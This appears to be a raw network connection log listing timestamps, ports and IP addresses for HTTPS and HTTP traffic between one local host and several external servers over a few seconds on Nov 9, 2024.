Nov 9, 2024 22:09:36.374212980 CET	443	49766	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.374227047 CET	49766	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.374232054 CET	443	49766	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.440129042 CET	49781	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.440169096 CET	443	49781	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.440239906 CET	49781	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.526840925 CET	49781	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.526988983 CET	443	49781	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.765173912 CET	443	49777	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.766206980 CET	443	49778	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.819956064 CET	49778	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.824071884 CET	443	49776	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.883539915 CET	49777	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.883558035 CET	443	49777	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.884294033 CET	49777	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.884299994 CET	443	49777	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.884803057 CET	49778	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.884810925 CET	443	49778	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.885468960 CET	49778	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.885473013 CET	443	49778	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.921480894 CET	49776	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:36.958252907 CET	443	49780	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:36.998420954 CET	49780	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.006694078 CET	443	49777	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.006772041 CET	443	49777	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.006829023 CET	49777	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.008285999 CET	443	49778	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.008356094 CET	443	49778	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.008408070 CET	49778	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.113738060 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:37.190334082 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:37.263415098 CET	443	49781	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.311400890 CET	49781	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.311429977 CET	443	49781	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.312064886 CET	49781	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.312071085 CET	443	49781	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.313956976 CET	49776	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.313977003 CET	443	49776	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.314527035 CET	49776	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.314532995 CET	443	49776	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.314681053 CET	49778	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.314699888 CET	443	49778	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.314711094 CET	49778	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.314717054 CET	443	49778	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.342314959 CET	49780	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.342341900 CET	443	49780	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.342921019 CET	49780	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.342926979 CET	443	49780	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.343081951 CET	49777	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.343117952 CET	443	49777	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.343147039 CET	49777	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.343156099 CET	443	49777	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.354650974 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:37.354666948 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:37.355916023 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:37.355933905 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:37.355987072 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:37.405891895 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:37.406002045 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:37.406215906 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:37.406230927 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:37.439492941 CET	443	49781	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.439568043 CET	443	49781	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.439640045 CET	49781	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.448204041 CET	443	49776	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.448276997 CET	443	49776	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.448342085 CET	49776	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.452929020 CET	49781	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.452938080 CET	443	49781	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.453299046 CET	49776	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.453306913 CET	443	49776	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.453331947 CET	49776	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.453336000 CET	443	49776	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.465280056 CET	49786	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.465329885 CET	443	49786	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.465445042 CET	49787	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.465459108 CET	49786	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.465464115 CET	443	49787	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.465553045 CET	49787	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.468645096 CET	49788	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.468669891 CET	443	49788	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.468950987 CET	49788	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.469044924 CET	443	49780	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.469180107 CET	443	49780	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.469270945 CET	49780	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.471215010 CET	49789	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.471246958 CET	443	49789	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.471332073 CET	49789	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.495721102 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:37.500549078 CET	49789	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.500567913 CET	443	49789	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.500786066 CET	49786	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.500807047 CET	443	49786	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.500938892 CET	49780	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.500965118 CET	443	49780	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.500979900 CET	49780	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.500984907 CET	443	49780	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.503530979 CET	49787	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.503551006 CET	443	49787	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.515564919 CET	49788	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.515583038 CET	443	49788	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.529254913 CET	49791	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.529268980 CET	443	49791	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.529352903 CET	49791	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.529805899 CET	49791	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:37.529819012 CET	443	49791	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:37.643078089 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:37.687176943 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:37.718627930 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:37.718743086 CET	443	49779	94.245.104.56	192.168.2.5
Nov 9, 2024 22:09:37.718812943 CET	49779	443	192.168.2.5	94.245.104.56
Nov 9, 2024 22:09:37.780159950 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:37.780235052 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:37.780556917 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:37.781627893 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:37.781641006 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:38.234075069 CET	443	49787	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.261868954 CET	443	49791	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.262667894 CET	443	49788	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.264517069 CET	443	49789	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.267750978 CET	443	49786	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.295670033 CET	49786	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.295697927 CET	443	49786	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.296112061 CET	49786	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.296118975 CET	443	49786	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.296819925 CET	49789	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.296879053 CET	443	49789	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.298641920 CET	49789	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.298648119 CET	443	49789	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.312397957 CET	49787	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.312427998 CET	443	49787	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.312834978 CET	49787	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.312839985 CET	443	49787	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.319950104 CET	49788	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.350166082 CET	49791	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.350198984 CET	443	49791	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.350677013 CET	49791	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.350688934 CET	443	49791	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.351208925 CET	49788	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.351218939 CET	443	49788	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.351607084 CET	49788	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.351613045 CET	443	49788	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.369926929 CET	80	49737	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:38.369995117 CET	49737	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:38.426608086 CET	443	49786	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.426692009 CET	443	49786	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.426758051 CET	49786	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.430603981 CET	443	49789	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.430862904 CET	443	49789	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.430912971 CET	49789	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.436923027 CET	443	49787	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.437120914 CET	443	49787	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.437189102 CET	49787	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.476212978 CET	443	49788	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.476293087 CET	443	49788	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.476353884 CET	49788	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.476479053 CET	443	49791	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.476943970 CET	443	49791	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.477005005 CET	49791	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.485909939 CET	49788	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.485920906 CET	443	49788	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.485932112 CET	49788	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.485938072 CET	49786	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.485941887 CET	443	49788	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.485965967 CET	443	49786	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.486001015 CET	49786	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.486007929 CET	443	49786	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.486432076 CET	49791	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.486432076 CET	49791	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.486443996 CET	443	49791	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.486459017 CET	443	49791	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.488945961 CET	49789	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.488950014 CET	443	49789	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.488961935 CET	49789	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.488966942 CET	443	49789	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.492386103 CET	49787	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.492408991 CET	443	49787	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.492420912 CET	49787	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.492429018 CET	443	49787	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.552048922 CET	49793	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.552093983 CET	443	49793	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.552150011 CET	49793	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.552423000 CET	49794	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.552468061 CET	443	49794	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.552551031 CET	49794	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.589885950 CET	49793	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.589915037 CET	443	49793	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.590233088 CET	49794	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.590266943 CET	443	49794	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.635907888 CET	49795	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.635953903 CET	443	49795	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.636015892 CET	49795	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.756892920 CET	49795	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.756916046 CET	443	49795	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.794334888 CET	49796	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.794364929 CET	443	49796	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.794467926 CET	49796	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.856648922 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:38.856657028 CET	443	49807	18.154.84.35	192.168.2.5
Nov 9, 2024 22:09:38.856720924 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:38.857222080 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:38.857232094 CET	443	49807	18.154.84.35	192.168.2.5
Nov 9, 2024 22:09:38.900654078 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:38.900737047 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:38.903265953 CET	49809	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.903331041 CET	443	49809	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.903422117 CET	49809	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.910621881 CET	49796	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.910646915 CET	443	49796	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:38.986498117 CET	49809	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:38.986551046 CET	443	49809	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.001615047 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:39.001648903 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.001776934 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:39.001976967 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:39.001991034 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.056740999 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.056767941 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.057162046 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.059432983 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.059478045 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.059520960 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.079097986 CET	49737	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:39.079353094 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:39.083982944 CET	80	49737	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:39.084388018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:39.084500074 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:39.085514069 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:39.085618019 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:39.090498924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:39.090532064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:39.090542078 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:39.090568066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:39.316554070 CET	443	49793	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.318149090 CET	443	49794	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.376106024 CET	49793	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.376127005 CET	443	49793	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.428529024 CET	49794	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.445234060 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.453646898 CET	49793	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.453663111 CET	443	49793	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.455112934 CET	49794	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.455133915 CET	443	49794	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.455926895 CET	49794	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.455934048 CET	443	49794	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.485891104 CET	443	49795	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.486746073 CET	49795	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.486771107 CET	443	49795	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.488590002 CET	49795	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.488600969 CET	443	49795	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.579256058 CET	443	49793	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.579334974 CET	443	49793	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.579374075 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.579397917 CET	49793	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.579441071 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.582410097 CET	443	49794	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.582495928 CET	443	49794	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.582540989 CET	49794	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.596515894 CET	49793	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.596529007 CET	443	49793	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.596539021 CET	49793	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.596544027 CET	443	49793	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.597975016 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.597994089 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.598004103 CET	49792	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.598010063 CET	443	49792	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.598903894 CET	49794	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.598928928 CET	443	49794	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.598942041 CET	49794	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.598948002 CET	443	49794	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.614185095 CET	443	49795	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.614259958 CET	443	49795	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.614334106 CET	49795	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.650552034 CET	443	49796	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.685691118 CET	443	49807	18.154.84.35	192.168.2.5
Nov 9, 2024 22:09:39.725512981 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:39.725528955 CET	443	49807	18.154.84.35	192.168.2.5
Nov 9, 2024 22:09:39.726566076 CET	443	49807	18.154.84.35	192.168.2.5
Nov 9, 2024 22:09:39.726618052 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:39.728183031 CET	443	49809	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.792047977 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:39.792108059 CET	443	49807	18.154.84.35	192.168.2.5
Nov 9, 2024 22:09:39.793282986 CET	49809	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.793304920 CET	49796	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.813611031 CET	49809	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.813617945 CET	443	49809	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.814167976 CET	49809	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.814172983 CET	443	49809	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.814769030 CET	49796	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.814776897 CET	443	49796	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.815154076 CET	49796	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.815159082 CET	443	49796	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.856812954 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.866206884 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:39.866224051 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.866602898 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.866619110 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.866674900 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:39.866681099 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.866719961 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:39.867338896 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.869502068 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:39.869555950 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.869764090 CET	49810	443	192.168.2.5	172.217.16.129
Nov 9, 2024 22:09:39.869772911 CET	443	49810	172.217.16.129	192.168.2.5
Nov 9, 2024 22:09:39.870191097 CET	49795	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.870214939 CET	443	49795	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.870225906 CET	49795	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.870233059 CET	443	49795	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.881979942 CET	49818	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.882019043 CET	443	49818	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.882428885 CET	49818	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.882577896 CET	49820	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.882607937 CET	443	49820	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.882641077 CET	49819	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.882674932 CET	443	49819	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.882677078 CET	49820	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.882733107 CET	49819	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.883147001 CET	49818	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.883162022 CET	443	49818	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.883210897 CET	49820	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.883224010 CET	443	49820	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.883272886 CET	49819	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.883282900 CET	443	49819	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.887865067 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.887888908 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.887964964 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.888477087 CET	49821	443	192.168.2.5	40.126.32.72
Nov 9, 2024 22:09:39.888489962 CET	443	49821	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:39.895159006 CET	49807	443	192.168.2.5	18.154.84.35
Nov 9, 2024 22:09:39.895169973 CET	443	49807	18.154.84.35	192.168.2.5
Nov 9, 2024 22:09:39.943392992 CET	443	49796	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.943592072 CET	443	49796	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.943659067 CET	49796	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.943919897 CET	49796	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.943933010 CET	443	49796	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.943944931 CET	49796	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.943950891 CET	443	49796	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:39.949821949 CET	49823	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:39.949836016 CET	443	49823	13.107.246.45	192.168.2.5
